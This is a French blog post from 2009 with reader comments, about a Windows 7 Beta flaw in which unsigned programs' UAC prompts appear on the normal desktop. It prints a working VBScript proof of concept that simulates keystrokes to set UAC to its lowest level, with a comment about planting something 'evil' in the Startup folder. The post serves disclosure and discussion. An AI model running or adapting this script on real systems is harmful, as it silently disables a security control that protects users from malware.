Dans la version Beta de Windows 7, nous avons pu découvrir que l'UAC - User Account Control (contrôle de compte utilisateur) - était beaucoup moins intrusif que dans son prédécesseur Windows Vista. Ce changement fait toutefois apparaître une faille de sécurité...

Pour rappel, l'UAC permet de protéger le système lors d'une modification majeure telle que l'installation d'une application, d'un module, d'une modification de paramètres systèmes (y compris la base de registre)... Une alerte bloquant l'utilisation de l'ordinateur est alors affichée et l'utilisateur doit autoriser ou refuser la modification.

Cette alerte présente les informations suivantes :
  • auteur du logiciel ou de la tentative de modification de paramètres systèmes
  • si le logiciel qui s'exécute est signé ou pas (couleur de l'alerte différente)
  • le nom du programme
  • l'icône du programme
Ces informations permettent dans la plupart - voir tous - des cas de prendre la bonne décision. Du moins si on n'utilise pas l'ordinateur mécaniquement sans essayer de comprendre un tout petit peu la signification des éléments. Le fond noir affiché sur l'ensemble de l'écran durant cette alerte indique que le bureau est en mode sécurisé« : seules les actions venant de la souris sont acceptées et les simulations de touches clavier ne fonctionnent pas.

Dans le but d'être réceptif aux arguments suivants des utilisateurs : "les utilisateurs ne comprennent pas cette mesure" et « l'UAC a tendance à demander l'autorisation un peu trop souvent", Microsoft a alor » instauré dans Windows 7 une nouvelle graduation dans la configuration de l'UAC.

windows-7-beta-uac

Ce mode intermédiaire permet de n'afficher des alertes en bureau sécurisé uniquement lors de l'installation d'applications. Lors de la modification de paramètres système, il y a deux cas de figure :
  • l'application est signée : on peut demander silencieusement les droits d'administrateur pour l'application
  • l'application n'est pas signée : une alerte en mode bureau standard est proposée à l'utilisateur
C'est justement dans le cas où une application n'est pas signée numériquement qu'un problème se pose : le bureau n'est pas sécurisé. Dans ce cas, une application peut très bien émuler les touches du clavier et auto-accepter l'alerte proposée à l'utilisateur. Pour les plus téméraires, voilà le bout de code qui illustre cette faille :

« et WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run « shutdown /r /f »


En conclusion, un malware peut donc obtenir les droits d'administrateur très facilement et ce en quelques lignes de code.

Les testeurs ont bien entendu remonté l'information au plus vite mais, se sont retrouvés face à une situation étrange. La réponse de Microsoft fut que ce bug est un choix de conception. Autrement dit, ce bug n'est pas un bug car la situation émane d'un choix délibéré de l'éditeur.

Pour le moment, il suffit de mettre le niveau de protection dans le panneau de configuration de l'UAC au maximum. Son fonctionnement sera alors semblable à celui de Windows Vista avec le niveau de sécurité qui l'accompagne.
Nul doute que Microsoft devrait revoir sa stratégie sur ce point de sécurité qui semble avant tout un oubli dans les scénario de tests de la firme de Redmond... ;)

Commentaires (12)

Avatar de l'utilisateur josejose - Lundi 02 février 2009, 19:20
mouais, ça la fou mal quand même...
Avatar de l'utilisateur Christophe LavalleChristophe Lavalle - Lundi 02 février 2009, 19:22
... les risques d'une version Beta. C'est pour cela que Microsoft fait tester son système à des testeurs ;)

(tu voudrais nous enlever notre travail ? :P :D )
Avatar de l'utilisateur josejose - Lundi 02 février 2009, 19:32
D'accord mais depuis vista ils ont eu le temps non :closedeyes:
C'est surtout la réponse, ce n'est pas un bug c'est normal :lol:
Mais bon j'aime bien Seven, d'ailleurs je l'utilise régulièrement.
Avatar de l'utilisateur Christophe LavalleChristophe Lavalle - Lundi 02 février 2009, 19:39
Pour la réponse « ce n'est pas un bug", je comprends ton point de vue.

Disons que c'est un bug qui découle d'un choix stratégique. Donc dans ce cas c'est un des effets qui découlent du choix effectué Microsoft. D'ou le fait qu'ils disent que ce n'est pas un bug... mais une conséquence qui était très certainement connue...

Cela n'enlève rien au fait qu'il faut absolument qu'il la corrige et que le fait que l'idée de créer une faille leur soit passée par la tête est totalement navrante et absolument pas normale.

( Ce bug n'est pas présent dans Windows Vista. Donc rien à voir avec Vista. ;) )
Avatar de l'utilisateur MatthieuMatthieu - Lundi 02 février 2009, 20:12
C'est en quel langage le morceau de code ? J'dirais bien du VB ou du VBScript...

Merci.
Avatar de l'utilisateur Christophe LavalleChristophe Lavalle - Lundi 02 février 2009, 20:18
VBScript ;)

Héhé, ne nous code pas un malware hein ! :rolleyes:
Avatar de l'utilisateur MatthieuMatthieu - Lundi 02 février 2009, 20:22
Non non, tiens j'viens de tester, ça marque qu'il y a une erreur :( J'ai encore plein de chose à apprendre. Mais d'après ce que j'ai compris du code, ça pourrait accéder à la console, donc on pourrait faire des petits scripts :) .
Avatar de l'utilisateur Christophe LavalleChristophe Lavalle - Lundi 02 février 2009, 20:37
Le code permet que le processus qui exécute le code demande l'obtention des droits d'administrateur. Le script se met deux fois en veille. A chaque fois, il simule des touches au clavier.

La combinaison des touches permet de contourner l'alerte qui est entièrement gérée par le processus étant donné que l'on n'est pas dans un bureau sécurisé. Donc la simulation de touches au claver fonctionne.

La fin du script, qui est en commentaire, permet de mettre en évidence le fait que le processus lance une tâche qu'ilne devrait pas pouvoir lancer en mode normal...

:)
Avatar de l'utilisateur MatthieuMatthieu - Lundi 02 février 2009, 20:55
Haha j'ai enfin réussi à faire démarrer un petit quelque chose (si vous voulez essayer il fait enregistrer en UTF8 sans BOM, c'est pas la première fois que ça m'énerve ce BOM, déjà en PHP). Décider, j'me met au VBScript.
Avatar de l'utilisateur nathannathan - Mardi 03 février 2009, 18:42
j'ai trouve un liens sur la reponse de microsft a ce sujet
http://www.silicon.fr/fr/news/2009/02/03/faille_de_windows_7___la_reponse_de_microsoft
Avatar de l'utilisateur MewTMewT - Vendredi 06 février 2009, 07:22
lol ? Un malware, faut arrêter là mdr, regardez ce que fait le code svp ... Dans le même genre, pourquoi ne pas faire un « malware » qui bouge la souris et ferme l'antivirus avec un clique droit, .... Non mais je rêve mdr, c'est pas un malware et je comprends la réaction de Microsoft
Avatar de l'utilisateur Christophe LavalleChristophe Lavalle - Vendredi 06 février 2009, 15:48
Ce code est un proof of concept. C'est à dire que ce code est inoffensif. Il permet juste d'illustrer le mécanisme que des codes de type malware peuvent mettre en oeuvre facilement.

Donc prend ce concept appliqué à un code dévastateur pour ton PC. La tu auras peut-être une idée plus précise des problèmes que cela peut amener...

Pour démontrer une faille, nous ne sommes pas obligés de construire le virus/malware qui va avec et qui s'appuit dessus. Nous pouvons juste l'illustrer sur des actions inoffensives. ;)